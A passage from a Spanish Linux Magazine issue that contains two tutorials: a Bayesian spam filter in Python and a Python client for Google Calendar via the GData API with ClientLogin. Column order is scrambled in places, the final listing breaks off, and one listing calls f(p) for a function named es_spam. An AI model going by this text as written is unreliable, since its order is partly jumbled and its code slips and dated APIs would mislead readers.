• guardo o actualizo su entrada en el diccio-
nario correspondiente
En palabras llanas, estamos creando un
inventario de palabras.
Para simplificar el código sólo rompere-
mos el texto de forma simple, aprovechando
la función split() que Python incorpora en
sus cadenas. Esta función divide la cadena
usando separadores estándar como pueden
ser el punto o el espacio en blanco.
Con nuestros dos diccionarios cargados
de palabras, pasamos a la segunda fase: la
creación de un diccionario conjunto donde
guardemos la probabilidad de cada palabra
de ser parte de un correo spam.
Este tercer diccionario debe contener las
palabras del diccionario oky del diccionario
spam. Para ello debemos crear un dicciona-
rio que incorpore las entradas de ambos,
pero una sola vez para cada uno, ¿cómo
podemos mezclar las llaves de ambos dic-
cionarios?
La forma más sencilla es la que aparece
en el Listado [1]. Importamos la librería sets
que nos permite crear y manejar conjuntos.
Creamos dos conjuntos usando las llaves de
los diccionarios y los unimos con el opera-
dor |, la unión de conjuntos, que devuelve
un conjunto con las entradas de los conjun-
tos unidos, pero sin repeticiones. Los con-
juntos pueden tener entradas repetidas, pero
cuando recorremos el conjunto con for no
aparecen, porque los conjuntos sólo pueden
devolver un elemento de cada tipo aunque
estén repetidos. De esta forma tan sencilla
podemos obtener una lista con las llaves de
ambos diccionarios.
El siguiente paso es extraer las llaves de
esa lista de llaves compartidas, guardando
las entradas en una lista, y calcular la proba-
bilidad de ser spam para cada una de ellas
con una fórmula que pasamos a explicar.
Falsos positivosUno de los problemas que encontramos
cuando clasificamos algo es la aparición de
falsos positivos.
Esta expresión a veces suele escucharse
en ámbitos médicos. Indica que se ha detec-
tado algo, pero que en realidad no hay nada
debido a que la prueba ha fallado.
Por ejemplo, estamos enfrente de la
parada del autobús, y vemos que tendremos
dificultades para tomarlo, ya que un semá-
foro nos interrumpe el paso, por lo que lo
damos por perdido.
Pero conforme el semáforo se pone en
verde el autobús sigue ahí, y como le dimos
por perdido atravesamos el paso de cebra a
paso normal. Sólo cuando estamos a mitad
de él y aún vemos el autobús nos damos
cuenta de nuestro fallo de razonamiento: si
hubiésemos salido corriendo por el paso de
cebra al ponerse el semáforo en verde podrí-
amos haber tomado ese autobús. Después
de este falso positivo se nos suele quedar
cara de tontos, mientras el autobús se va sin
nosotros a sólo unos pasos de distancia.
Lo mismo ocurre con los filtros antispam.
Si confiamos completamente en ellos, un día
puede ocurrir que aparezca un falso posi-
tivo, que sea clasificado como spam y que
nunca lleguemos a enterarnos de la llegada
de un correo importante.
Tenemos que minimizar la aparición de
falsos positivos tanto como sea. Para ello
tendremos que asumir que es preferible que
Python • DESARROLLO
49Número 22W W W . L I N U X - M A G A Z I N E . E S
01 >>> def es_spam(probs):
02 ... prod=reduce(lambda x, y: x
* y, probs)
03 ... return prod / (prod +
reduce(lambda x,y: x*y,
map(lambda x: 1 - x, probs)))
04 ...
05 >>>
p=[0.13,0.22,0.31,0.9,0.9,0.9,
0.7,0.3,0.11,0.8,0.1,0.1,0.7,0
.3,0.3]
06 >>> f(p)
07 0.034848854359010119
Listado 2: funciónes_spam()
¿Y qué hacemos si se da este caso? Pues
como convenio devolveremos una probabili-
dad de 0.0, y por eso guardamos ese valor
en el variable resultado.
ImplementaciónVista la teoría vayamos a la práctica. Nues-
tro programa, ver Listado 3, se compone de
dos clases. La primera, correos, sirve como
una ayuda para la segunda filtro_bayesiano.
En esta segunda clase es donde está lo más
importante.
El método __init__ de filtro_bayesiano
muestra los pasos necesarios para inicializar
el filtro que antes comentamos:
• cargamos las palabras de los correos en
diccionarios
• generamos el diccionario con las probabi-
lidades
Para ello nos ayudamos del método ana-
liza_correos. Usando la librería glob, que nos
permite conseguir listados de ficheros, crea-
mos una lista con los ficheros en el directo-
rio de correo normal o spam, según el caso.
Recorremos esa lista de ficheros, abriéndolos
y pasando el texto que contienen a
carga_correo. Como último paso, aumenta-
mos en 1 el número de correos leídos de
cada tipo, que nos permitirá posteriormente
realizar el cálculo de probabilidades.
carga_correo rompe el texto en palabras, y
si la palabra no estaba en el diccionario
correspondiente, que pasamos como pará-
metro, crea la entrada inicializándola a 1. En
caso de que la palabra se hallase en el dic-
cionario, aumentamos su cantidad en 1.
Con lo realizado hasta el momento tendrí-
amos listos los dos diccionarios, uno para
correo normal y otro para spam. Ahora toca
aplicar la fórmula.
Diccionario deprobabilidadesEl método construye_diccionario es el
encargado de extraer las llaves, las pala-
bras, de los dos diccionarios y almacenar
en un tercero la probabilidad de cada pala-
bra mediante el método
calcula_prob_spam.
El código de calcula_prob_spam tiene en
cuenta la posible aparición de una división
por cero, por lo que comprueba que el divi-
sor, el número que divide, no sea cero con
una simple suma ((g+b)>0). Devuelve un
resultado numérico entre 0,0 y 1,0 , que será
la probabilidad de que esa palabra pertene-
cezca a un correo con spam.
Ya está listo nuestro filtro para decidir si
un texto es spam o no.
¿Es esto spam?Para tomar la decisión, troceamos el texto
que se nos pasa como argumento, con lo
que obtenemos una lista de palabras, y reali-
zamos las siguientes acciones:
• Mapeamos sobre la lista el método
prob_spam_palabra (ver Listado 3), lo
que nos devuelve una lista de probabilida-
des.
• Multiplicamos esas probabilidades unas
con otras hasta tener un solo número.
• Dividimos ese valor, que llamamos prod,
por ese mismo valor más el resultado de
multiplicar las probabilidades de que esas
palabras no sean spam (este valor lo con-
seguimos restando esas probabilidades a
1)
El resultado es un valor numérico entre 0.0 y
1.0. Cuanto mayor sea, más probable es que
estemos analizando un correo spam. Como
regla general, consideraremos spam cual-
quier valor por encima de 0.9, de forma que
los falsos positivos sean mínimos.
ConclusiónCuando se lee acerca de técnicas matemáti-
cas empleadas para resolver grandes proble-
mas, normalmente pensamos que no sere-
mos capaces de comprenderlas. Nada más
lejos de la realidad.
La matemática es una herramienta muy
poderosa y aparece constantemente en
nuestras vidas. Incluso con unos conoci-
mientos básicos de pensamiento matemá-
tico, y no tanto de cálculo numérico como
nos suelen enseñar, podemos dar soluciones
simples y elegantes a problemas realmente
complicados. �
se cuele un poco de spam en nuestra ban-
deja de entrada a perder un correo impor-
tante. Es por esto que vamos a trabajar con
una fórmula algo diferente a la de Bayes,
emplearemos pesos. Un peso es un número
que multiplica una cantidad para hacerla
más grande, y por tanto, para hacer que
«pese» más dentro de la fórmula.
La fórmulaLa fórmula, que podemos ver en el Listado
2, hace uso de las funciones max()y min(),
que devuelven el máximo y el mínimo de
sus argumentos. El objetivo de su uso es no
permitir la aparición de valores ni dema-
siado pequeños ni demasiado grandes. Cual-
quier valor mayor que 0.99 pasará a ser
0.99, y cualquier valor menor que 0.1 se
convertirá en 0.1. Esta técnica nos permite
establecer un umbral con el que podremos
controlar el acierto de nuestro filtro.
Otro paso para mejorar la fórmula es no
emplear la suma de correos correctos y
spam. En su lugar usaremos sólo la cantidad
de correos correctos o spam para calcular las
probabilidades correspondientes. El objetivo
de esto es ver lo importante que es una pala-
bra dentro de uno de los grupos de correos,
oky spam, y no en base al total.
Es momento de ver la fórmula en acción,
ver Listado [*]. La función acepta un solo
parámetro, la palabra de la que queremos
calcular la probabilidad. Los valores gy b (de
good y bad) guardan la cantidad de aparicio-
nes de la palabra en el correo normal y el
spam respectivamente. Como queremos
tener tan pocos falsos positivos como sea
posible, multiplicamos por 2 la cantidad de
apariciones de las palabras en el correo nor-
mal. De esta forma damos más peso a las
palabras que aparecen en el correo normal.
Tenemos cuidado de comprobar primero
si la palabra se encuentra en ese diccionario.
El problema surge cuando la palabra no se
encuentra en ninguno de los dos dicciona-
rios, porque en tal caso, en la fórmula apa-
rece una división por 0. Un número dividido
por 0 generará un error, debido a que la divi-
sión por 0 no está definida en matemáticas.
DESARROLLO • Python
50 Número 22 W W W . L I N U X - M A G A Z I N E . E S
[1] Solución de Paul Graham al problema
del Spam: http://www.paulgraham.
com/spam.html
[2] Monty Python definen el Spam en su
serie de televisión “Monty Python’s
Flying Circus”: http://www.youtube.
com/watch?v=d7uFntk0Bnk
RECURSOS
Nombre Lenguaje URL
Spambayes Python http://spambayes.sf.net
POPFile Perl http://popfile.sf.net
SpamTUNNEL Java http://uiorean.cluj.astral.ro
PASP Python http://sf.net/projects/pasp
Thunderbird C++ http://www.mozilla.org/mailnews/spam.html
SpamProb Python http://spamprobe.sourceforge.net
Tabla 1: Filtros anti-spam con filtro bayesiano
Python • DESARROLLO
51Número 22W W W . L I N U X - M A G A Z I N E . E S
001 #!/usr/local/bin/python
002 # # -*- coding: utf-8 -*-
003
004 import glob, os, sys, sets
005
006 class correos:
007 # Esta clase es para ahorrar
código
008 def
__init__(this,nombre,ruta):
009 this.ruta=ruta
010 this.nombre = nombre
011 this.num = 0.0
012 this.palabras = {}
013
014 def __str__(this):
015 return “[Correos
“+this.nombre+”] cantidad:
“+str(this.num)
016
017 class filtro_bayesiano:
018
019 def __init__(this):
020 this.ok =
correos(‘ok’,’./ok/’)
021 this.spam =
correos(‘spam’,’./spam/’)
022 this.probs_spam = {}
023 this.carga()
024 this.construye_diccionario()
025
026 def carga(this):
027
this.analiza_correos(this.ok)
028
this.analiza_correos(this.spam
)
029
030 def
analiza_correos(this,correos):
031 # Recibe una clase correos y
usa sus datos
032 # para cargar en ella las
palabras
033
034 lista =
glob.glob(correos.ruta+”/*.txt
”)
035 for f in lista:
036 fichero = open(f)
037
this.carga_correo(correos,fich
ero.read())
038 correos.num += 1.0
039
040 # sacamos las llaves de ambos
diccionarios, y las mezclamos
en un
041 # conjunto del que vamos
extrayendo.
042
043 def
calcula_prob_spam(this,palabra
):
044 # La formula de Paul Graham
045
046 g = 0.0
047 b = 0.0
048
049 if
this.ok.palabras.has_key(palab
ra):
050 g = 2.0 *
this.ok.palabras[palabra]
051
052 if
this.spam.palabras.has_key(pal
abra):
053 b =
this.spam.palabras[palabra]
054
055 # En caso de que no haya
palabras de un tipo....
056 resultado = 0.0
057
058 if (g + b) > 0:
059 resultado = max( 0.1,
060 min(0.99,
061 min(1.0, b /
this.spam.num)
062 /
063 (min(1.0, g/this.ok.num) +
min(1.0, b/this.spam.num))))
064
065 return resultado
066
067 def
construye_diccionario(this):
068 # Creamos un cojunto con las
llaves
069 llaves =
sets.Set(this.ok.palabras.keys
()) |
sets.Set(this.spam.palabras.ke
ys())
070
071 for llave in llaves:
072 this.probs_spam[llave] =
this.calcula_prob_spam(llave)
073
074 def
carga_correo(this,correos,corr
eo):
075 # Carga las palabras de un
correo en
076 # el diccionario
correspondiente
077
078 for palabra in
correo.split():
079 if
correos.palabras.has_key(palab
ra):
080 correos.palabras[palabra]
+= 1
081 else:
082 correos.palabras[palabra]
= 1
083
084 def
prob_spam_palabra(this,palabra
):
085 if
this.probs_spam.has_key(palabr
a):
086 return
this.probs_spam[palabra]
087 else:
088 return 0.01
089
090 def es_spam(this, texto):
091 lista = texto.split()
092 probs = map(lambda x:
this.prob_spam_palabra(x),
lista)
093
094 prod = reduce(lambda x,y:
x*y, probs)
095
096 resultado = prod / (prod +
reduce(lambda x,y: x*y,
map(lambda x: 1 - x, probs)))
097
098 return resultado
099
100 # Ejemplo de uso
101 f = filtro_bayesiano()
102 cadenas = [“The VigraMax is
the best solution”,
103 “hola Paul, ya tengo el
artículo de Linux Magazine”]
104 for i in cadenas:
105 print f.es_spam(i)
Listado 3: Nuestro filtro
DÍA D, HORA H
tar, crear, actualizar y eliminar diversos ele-
mentos de datos con los comandos simples de
HTTP: GET, POST, PUT, DELETE. Esta
manera de trabajar con servicios web no es
nueva, ya que sigue los principios básicos de
la arquitectura REST (ver Tabla GData y
REST). Además este sistema está siendo apli-
cado con éxito en la creación de otros servi-
cios web de empresas tales como Amazon,
eBay, Yahoo! y más recientemente en Flickr y
Youtube. Una ventaja frente a la aproximación
SOAP, además de su simplicidad e inmedia-
tez, es su baja latencia. Al disminuir la com-
plejidad del sistema y eliminar datos redun-
dantes logramos disminuir el tiempo entre la
petición del servicio y la respuesta generada.
Google utiliza este mismo API para acceder a
múltiples servicios[4], entre los que se cuen-
tan Blogger, Google Calendar y Google Base-
Data.
En este artículo nos centraremos en Google
Calendar[5]. Aunque es posible acceder a
toda la funcionalidad desde cualquier len-
guaje de programación de manera directa, los
desarrolladores de Google proporcionan libre-
rías en Java, .NET, y dentro del proyecto Zend
Framework encontramos una versión de la
librería en PHP. No hay ninguna versión para
Python, así que vamos a plantear a lo largo de
este artículo las bases para un futuro proyecto
que denominaremos PyGData[6].
EnigmaSi tenemos una cuenta en Google Mail, ya
podemos acceder al calendario desde el
pequeño menú de la esquina superior
izquierda del interfaz Gmail. También pode-
mos entrar directamente visitando la web del
proyecto[7]. Dar de alta un evento, asignar
una visibilidad (evento público o evento pri-
vado), añadir un comentario o asignar una
periodicidad y una alarma de avisos al evento
son cosas sencillas de hacer desde el mismo
interfaz web de la herramienta. Otras cosas
que podemos hacer es la de realizar búsque-
das de texto libre por todos los eventos del
calendario y recolocarlo en otro día o cambiar
la duración del evento mediante el uso del
ratón, como buena aplicación AJAX que es.
Pero lo interesante no es sólo tener este
interfaz de acceso, sino poder comprobar que
podemos acceder a toda esta funcionalidad
desde la línea de comandos. Para ello necesita-
mos previamente encontrar una URL que
identifique de manera única a nuestro calen-
dario. Si pulsamos sobre la flechita asociada al
calendario en la lista de calendarios situada en
la columna de la izquierda, veremos un des-
plegable que nos permite realizar acciones de
configuración, creación de eventos y cambio
de colores de los eventos. Deberemos seleccio-
nar la entrada que pone “Configuración del
calendario”. En el formulario que aparece
ahora pulsamos sobre el botón naranja etique-
tado ‘XML’ de la sección ‘Dirección privada’ al
final del mismo. Ahora aparecerá una URL
que debemos copiar. Esta URL tiene el
siguiente formato:
http://www.google.com/calendar/U
feeds/<I>email<I>/private-U
<I>magicCookie<I>/basic
En el campo email aparece nuestra cuenta
Gmail y en magicCookie una cadena alfanu-
mérica secreta que podemos regenerar (en el
caso de que quede descubierta por descuido)
desde el enlace ‘Restablecer URL privada’
situado cerca del botón anterior. Con esta URL
podremos acceder, en modo de solo lectura, a
la lista de eventos del calendario con un sim-
ple wget URL. Si lo hacemos obtendremos
algo parecido a lo mostrado en el Listado 1. Es
un documento XML en formato Atom[8] que
contiene una entrada (tag entry) por cada
evento del repositorio. Además se indica el
identificador del calendario (primer campo id
no asociado a ninguna entrada), el dueño del
mismo (¿adivinan qué tag tiene esa informa-
ción?) y, para cada entrada de calendario, el
El API de Google para la integración de
resultados de búsquedas que hemos
tenido la oportunidad de conocer hace
uso del protocolo SOAP para el acceso a servi-
cios web[1]. SOAP es un protocolo complejo
que requiere de la instalación y uso de libre-
rías de terceros para lograr simplificar la crea-
ción de stubs, o funciones proxy o intermedia-
rias, a partir del lenguaje de descripción de
servicios web (WSDL). Con estas funciones,
creadas de manera automática, lograremos
realizar llamadas de acceso a objetos localiza-
dos en servidores remotos. También se encar-
gan de codificar los mensajes, realizar la cone-
xión por HTTP (o cualquier otro protocolo de
transporte) con el servidor y controlar los erro-
res de transmisión. Además los mensajes
SOAP, en formato XML, son algo redundantes
y recargados. Si programamos en lenguaje
Python podemos hacer uso del interesante
PyGoogle[2] de Mark Pilgrim, autor también
del excelente libro Dive Into Python[3]. Esta
librería simplifica el acceso al API SOAP de
Google, proporcionando interfaces para la rea-
lización de búsquedas, obtención de la ver-
sión cacheada de un resultado e, incluso, la
consulta a las sugerencias de escritura de
parámetros de búsqueda. Esta librería necesita
de otra para la generación de mensajes SOAP
(SOAPpy). Como vemos, no es directo acce-
der a la funcionalidad de Google proporcio-
nada desde el API de basado en SOAP. Necesi-
tamos poner dos capas de funciones, objetos y
métodos entre nuestra aplicación y los servi-
cios ofrecidos por Google.
Para simplificar este escenario, Google ha
desarrollado el API de acceso a datos de Goo-
gle. GData hace uso del protocolo HTTP para
la transmisión de datos de sindicación en for-
mato XML. Con este protocolo podemos
enviar y recibir documentos en formato Atom
1.0 y RSS 2.0. Además extiende el protocolo
de publicación Atom (APP) para la realización
de consultas parametrizadas. A diferencia del
protocolo basado en SOAP, podremos consul-
DESARROLLO • GData
52 Número 22 W W W . L I N U X - M A G A Z I N E . E S
Con el protocolo GData (el API de datos de Google) tendremos un acceso completo a los datos de las
aplicaciones diseñadas por Google, incluido Google Calendar, de una manera unificada y sencilla.
POR ALBERTO PLANAS
Dirigiendo Google Calendar
título y descripción del evento. Por último, si
cambiamos en la URL de acceso anterior la
palabra basic por full y volvemos a realizar
una petición con wget obtendremos una ver-
sión extendida del mismo documento de lis-
tado de eventos.. En ella aparecerán nuevos
campos que hasta ahora han quedado ocul-
tos, como por ejemplo la referencia (otra URL)
a los comentarios asociados a cada uno de los
eventos.
Esta consulta se puede parametrizar.
Así, si queremos obtener una lista de
eventos para un rango de tiempo dado
podemos añadir dos parámetros a la
URL: start-min y start-max. Por ejemplo,
para saber los eventos que me esperan
durante la semana del 06/11/2006, tengo
que preparar una consulta del siguiente
tipo:
http://www.google.com/U
calendar/feeds/<I>email<I>/U
private-<I>magicCookie<I>/U
basic?start-min=2006-11-U
06T00:00:00&start-max=U
2006-11-10T23:59:59
Las fechas y horas siguen el formato ISO. El
resultado de la consulta mantendrá la misma
estructura que la anterior. En ambas consultas
el resultado viene ordenado por la fecha de
actualización, de modo que si queremos orde-
nar por la fecha de suceso del evento (algo
natural en la realización de un informe) debe-
remos añadir otro parámetro más al final de la
URL: orderby=starttime. Siendo Google una
empresa que ha creado un buscador (vale, ‘el
buscador’) no puede faltar la funcionalidad de
búsqueda de eventos por palabras. Los pará-
metros de la consulta los indicamos con el
parámetro q=palabra1+palabra2. De esta
manera se realizarán búsquedas con esas dos
palabras por todo el texto del evento y descar-
gará un listado con aquéllos que contengan
ambas coincidencias. Si usamos las dobles
comillas (“) indicaremos una búsqueda
exacta, y si ponemos por delante de la palabra
un guión (-) excluiremos los eventos que con-
tengan la palabra prefijada. Podemos estable-
cer un limitador de coincidencias descargadas
con el parámetro max-results, que por defecto
vale 25. Para poder ir paginando las consultas
deberemos hacer uso de start-index.
Como hemos podido ver, el procedimiento
para acceder a Google Calendar es sencillo.
Con el protocolo GData es suficiente con
enviar el comando GET de HTTP a una URL
que representa un repositorio o fuente de
datos. Así obtendremos un documento Atom
que representa a este repositorio de datos o a
un recurso determinado (p.ej, un evento), y
eso es todo (o casi) , ya que es en esta senci-
llez donde radica el principal atractivo de la
arquitectura REST. Pero es verdad que no
podemos hacer muchas más cosas con nues-
tro calendario si antes no nos autentificamos.
La URL que hemos localizado al principio del
artículo no es suficiente para poder crear nue-
vos eventos, modificar o eliminar los ya exis-
tentes. Deberemos realizar dos pasos para
autentificarnos. El primer paso es transformar
la URL de acceso: deberemos eliminar el resu-
GData • DESARROLLO
53Número 22W W W . L I N U X - M A G A Z I N E . E S
01 <?xml version=’1.0’
encoding=’utf-8’?>
02 <feed xmlns=
’http://www.w3.org/2005/Atom’
03 xmlns:openSearch=
’http://a9.com/-/spec/opensearch
rss/1.0/’
04 xmlns:gd=
’http://schemas.google.com/g/200
5’
05 xmlns:gCal=
’http://schemas.google.com/gCal/
2005’>
06 <id>
07 http://www.google.com/
calendar/feeds/[email protected]
/private-<I>magicCookie<I>/basic
</id>
08 <updated>2006-11-07T12:05:
21.000Z</updated>
09 <title type=’text’>Alberto
Planas</title>
10 <subtitle type=’text’> Alberto
Planas</subtitle>
11 <link rel=’http://schemas.
google.com/g/2005#feed’
12 type=’application/atom+xml’
13 href=’http://www.google.com/
calendar/feeds/[email protected]
/private-<I>magicCookie<I>/basic
’>
14 </link>
15 <link rel=’self’
type=’application/atom+xml’
16 href=’http://www.google.com/
calendar/feeds/[email protected]
/private-<I>magicCookie<I>/basic
?max-results=25’>
17 </link>
18 <author>
19 <name>Alberto Planas</name>
20
<email>[email protected]</email>
21 </author>
22 <generator version=’1.0’
uri=’http://www.google.com/calen
dar’>
23 Google Calendar</generator>
24 <openSearch:startIndex>1
</openSearch:startIndex>
25 <openSearch:itemsPerPage>25
</openSearch:itemsPerPage>
26 <gCal:timezone value=’Europe
/Madrid’></gCal:timezone>
27 <entry>
28 <id>
29 http://www.google.com/
calendar/feeds/[email protected]
/private-<I>magicCookie<I>/basic
/<I>entryID<I></id>
30 <published>2006-11-07T06:
13:31.000Z</published>
31 <updated>2006-11-07T06:
13:37.000Z</updated>
32 <category scheme=’http://sch
emas.google.com/g/2005#kind’
33 term=’http://schemas.google.
com/g/2005#event’></category>
34 <title type=’text’>Reunión con
empresa Exp.#299</title>
35 <summary type=’html’>Cuándo:
del mar 7 de nov de 2006 11:00
36 al 14:30& CET <br><br>Dónde:
Antequera</summary>
37 <content type=’text’>Cuándo:
del mar 7 de nov de 2006 11:00
38 al 14:30& CET <br><br>Dónde:
Antequera <br>Descripción del
39 evento: Reunión con la empresa
con Exp. #299 para el proyecto
40 N.P.</content>
41 <link rel=’alternate’
type=’text/html’
42 href=’http://www.google.com/
calendar/event?eid=<I>eventID<I>
’
43 title=’alternate’></link>
44 <link rel=’self’
type=’application/atom+xml’
45 href=’http://www.google.com/
calendar/feeds/[email protected]
/private-<I>magicCookie<I>/basic
/<I>entryID<I>’>
46 </link>
47 <author>
48 <name>Alberto Planas</name>
49 <email>[email protected]
</email>
50 </author>
51 <gCal:sendEventNotifications
value=’false’>
52 </gCal:sendEventNotifications>
53 </entry>
54 </feed>
Listado 1: Extracto XML
ficación), un código HTTP 200 OK. En este
caso, además del código 200, devolverá varias
líneas de texto. Cada línea es del tipo ‘clave’ =
‘valor’. Necesitamos obtener el valor asociado
a la clave Auth puesto que es una cadena de
texto que deberemos entregar como testigo de
una correcta identificación en aquellas opera-
ciones que cambien el estado del calendario, y
que requieran de una autorización. En el Lis-
tado 2 podemos encontrar un procedimiento
para extraer esta variable dentro del método
client_login() de la clase GData.
¡Fuego!Una vez autentificados Google Calendar nos
dejará crear eventos de calendario mediante
un POST a la URL transformada, o si sólo
tenemos un calendario también podemos
hacer uso de la siguiente URL:
http://www.google.com/U
calendar/feeds/default/U
private/full
Deberemos completar este POST añadiendo
una cabecera HTTP de autorización, formada
de la siguiente manera:
Authorization: GoogleLoginU
auth=<I>Auth<I>
Es ahí donde debemos colocar el token que se
nos entregó durante el proceso de autentifica-
ción anterior. Tenemos que completar la cabe-
cera estableciendo un Conten-Type de tipo
application/atom+xml, puesto que lo que
vamos a transmitir es un documento XML
Atom. Tras la realización del POST, Google
Calendar deberá retornar un código HTTP 302
de redirección. Esto es así porque aprovecha
para cambiar la URL que establecimos en el
POST, añadiendo un parámetro adicional. Se
trata del identificador de sesión gsessionid. Así
pues deberemos relanzar otra vez el POST,
con las mismas cabeceras HTTP, el mismo
documento XML Atom, pero ahora a la nueva
URL completada durante el proceso de redi-
rección. Si finalmente el proceso de creación
de eventos termina adecuadamente, recibire-
mos un código HTTP 201 para indicar su crea-
ción y una versión del documento que envia-
mos al que se le han añadido algunos tags
nuevos.
Hay varios tipos de documentos XML Atom
que podemos enviar por medio de GData [10].
El principal tipo que debemos usar para
ponernos en contacto con Google Calendar es
el tipo evento. Un ejemplo de un evento lo
podemos ven en el Listado 3. Cada docu-
mento Atom XML tiene una raíz de tipo entry,
en él se declaran los distintos espacios de
nombre (xmlns), tanto de Atom como de
GData, de esta manera podemos utilizar nue-
vos tags extendidos que no pertenecen a la
especificación Atom. Estos nuevos tags exclu-
sivos de GData son los del tipo <gd >. Para
indicar que estamos ante una entrada de tipo
evento hacemos uso del tag category indi-
cando en el atributo term la URL http://
schemas.google.com/g/2005#event. El resto de
los tags son más o menos autodescriptivos:
con title establecemos el texto publicado en el
evento que aparece en la vista de calendario,
en el content hacemos una descripción más
detallada del evento. El tag author contiene el
nombre y email del creador del evento (que
puede ser diferente al dueño del calendario).
Si el tag <gd:transparency> tiene el valor
http://schemas.google.com/g/2005#event.
opaque estaremos indicando que el evento va
a consumir tiempo en el calendario, va a ser
un tiempo marcado como ‘ocupado’. Con
<gd:eventStatus> podemos indicar si el
evento ha sido confirmado o no, o si ha sido
cancelado. Los valores de visibilidad (evento
privado / evento público) se establecen por
medio del tag <gd:visibility>. Podemos indi-
car el lugar donde se va a producir el evento,
dónde se espera poder encontrar aparca-
miento (curioso, ¿no?) y una localización
alternativa para la realización del evento. Para
ello usamos el tag <gd:where> poniendo lo
que queremos describir en el parámetro value
y un texto libre en el campo valueString. Para
indicar varios tipos de localizaciones las pon-
dremos una detrás de la otra. Y, naturalmente,
podemos establecer una fecha y duración del
evento usando <gd:when>. Hay más tags
que describen otros componentes que consti-
tuyen un evento, como la repetición del
evento, un enlace a comentarios asociados o
el conjunto de personas relacionadas con el
mismo.
Este mismo procedimiento de autentifica-
ción puede ser usado para listar los calenda-
rios disponibles por el usuario (podemos crear
y eliminar calendarios desde la interfaz web).
Tenemos que enviar el comando HTTP GET a
la URL siguiente (sustituyendo el campo email
por la cuenta Gmail del usuario):
https://www.google.com/U
calendar/feeds/<I>email<I>
Naturalmente hay que poner la misma cabecera
de autentificación para lograr pasar el parámetro
Auth. Un ejemplo de todo el proceso lo tenemos
en el método list_calendarsdel Listado 2.
men magicCookie de la URL hasta dejarlo
como sigue:
<U>http://www.google.com/U
calendar/feeds/<I>email<I>/U
private/full<U>
También vale si en la URL anterior usamos la
versión basic en vez de la full. El segundo
paso es algo más complejo: tenemos que
autentificar la sesión frente a Google. Hay dos
procedimientos para hacer esto dependiendo
de si la aplicación que se va a autentificar es
de escritorio o un desarrollo Web. En la pri-
mera opción, la aplicación debe consultar
directamente del usuario la cuenta Gmail y la
contraseña de la cuenta. Este es un método
que puede ser seguro para aplicaciones de
escritorio, pero nefasto si la aplicación es vía
web (¿quién piensa poner su contraseña de
correo en un formulario web de otra aplica-
ción diferente a Gmail?) . La segunda opción
de autentificación está especialmente dise-
ñada para aplicaciones web. En ella no intro-
ducimos la contraseña en ningún formulario
de la aplicacion web, sino que esta aplicación
nos redirige a un formulario de Google donde
nosotros procedemos a identificarnos. Si la
identificación es correcta seremos redirigidos a
una URL de la aplicación web solicitante.
Vamos a usar la primera técnica, denominada
ClientLogin API[9]. Para ello tendremos que
enviar el comando HTTP POST con una serie
de parámetros de formulario (que correspon-
den con el Content-Type de tipo application/x-
www-form-urlencoded a la siguiente URL:
https://www.google.com/U
accounts/<I>ClientLogin<I>
Los parámetros que debemos pasar por POST
son:
•Email: cuenta Gmail del usuario.
•Passwd: contraseña de la cuenta.
•source: identificador de la aplicación.
•service: texto ‘cl’ para identificar el servicio de
calendario.
El campo source debe seguir el siguiente
patrón: nombreDeLaCompañía-nombreDe-
LaAplicación-versión. Si hay algún error en el
procedimiento de autentificación el sistema
devolverá el código HTTP 403 para indicar
que el acceso queda denegado. El usar códi-
gos de error para devolver el resultado de una
operación es algo que veremos con frecuencia
en el protocolo GData. Se hace un uso inten-
sivo de códigos que representan una redirec-
ción, una prohibición, o cuando todo sale
correctamente (incluido el proceso de autenti-
DESARROLLO • GData
54 Número 22 W W W . L I N U X - M A G A Z I N E . E S
Nueva OrdenLos eventos conseguidos tras una consulta
contienen más campos de los que pusimos en
nuestro documento XML Atom. El campo id
contiene una URL que referencia de manera
única al evento. Además, hay varios campos
de tipo link, cada uno con un parámetro rel
diferente. Si el valor de rel es self veremos que
la URL asociada al parámetro href del tag de
enlace coincide exactamente con el identifica-
dor del evento. Podemos usar esta dirección
para obtener una copia del objeto por medio
del, ya explicado, comando HTTP GET. El
enlace que tiene un valor para rel=’alternate’
GData • DESARROLLO
55Número 22W W W . L I N U X - M A G A Z I N E . E S
001 #! /usr/bin/env python
002 # -*- coding: UTF-8 -*-
003
004 import urllib
005 import urllib2
006
007 class LoginError(Exception):
008 pass
009
010 class
GDataRedirectHandler(urllib2.HTTP
RedirectHandler):
011 “””
012 Recuperamos los datos enviados
antes de la redirección y los
volvemos
013 a enviar incluyendo esta vez el
parámetro gsessionid. El código,
por
014 tanto, es idéntico al de la
clase HTTRedirectHandler, excepto
que
015 esta vez sí retomo los datos del
POST.
016 “””
017 def redirect_request(self, req,
fp, code, msg, headers, newurl):
018 print req.get_data()
019 m = req.get_method()
020 if (code in (301, 302, 303,
307) and m in (“GET”, “HEAD”)
021 or code in (301, 302, 303) and
m == “POST”):
022 return urllib2.Request(newurl,
023 headers=req.headers,
024
origin_req_host=req.get_origin_re
q_host(),
025 unverifiable=True,
026 data=req.get_data())
027 else:
028 raise
HTTPError(req.get_full_url(),
code, msg, headers, fp)
029
030
031 class GData(object):
032 login_url =
‘https://www.google.com/accounts/
ClientLogin’
033 calendar_url =
‘https://www.google.com/calendar/
feeds/’
034 feed_url = calendar_url +
‘default/private/full’
035
036 def __init__(self, email,
passwd, source=’apd-pygdata-0’):
037 self.email = email
038 self.passwd = passwd
039 self.source = source
040
041
042 def client_login(self):
043 “””
044 Hace uso del método ClientLogin
para identificarse.
045 “””
046 params =
urllib.urlencode({‘Email’:
self.email,
047 ‘Passwd’: self.passwd,
048 ‘source’: self.source,
049 ‘service’: ‘cl’})
050 try:
051 f =
urllib2.urlopen(self.login_url,
params)
052 for line in f:
053 if line.startswith(‘Auth’):
054 return line.split(‘=’)[1]
055 except urllib2.HTTPError:
056 raise LoginError(‘Error de
autentificación’)
057
058 def write_entry(self, entry):
059 id = self.client_login()
060 if id:
061 r =
urllib2.Request(url=self.feed_url
, data=entry)
062 r.add_header(‘Authorization’,
‘GoogleLogin auth=%s’%id)
063 r.add_header(‘Content-Type’,
‘application/atom+xml’)
064 opener =
urllib2.build_opener(GDataRedirec
tHandler())
065 f = opener.open(r)
066 print f.info()
067 print ‘-’ * 80
068 print f.read()
069
070
071 def list_calendars(self):
072 id = self.client_login()
073 if id:
074 r =
urllib2.Request(url=self.calendar
_url + self.email)
075 r.add_header(‘Authorization’,
‘GoogleLogin auth=%s’%id)
076 opener =
urllib2.build_opener(GDataRedirec
tHandler())
077 f = opener.open(r)
078 print f.info()
079 print ‘-’ * 80
080 print f.read()
081
082
083 def list_entry(self):
084 id = self.client_login()
085 if id:
086 r =
urllib2.Request(url=self.feed_url
)
087 r.add_header(‘Authorization’,
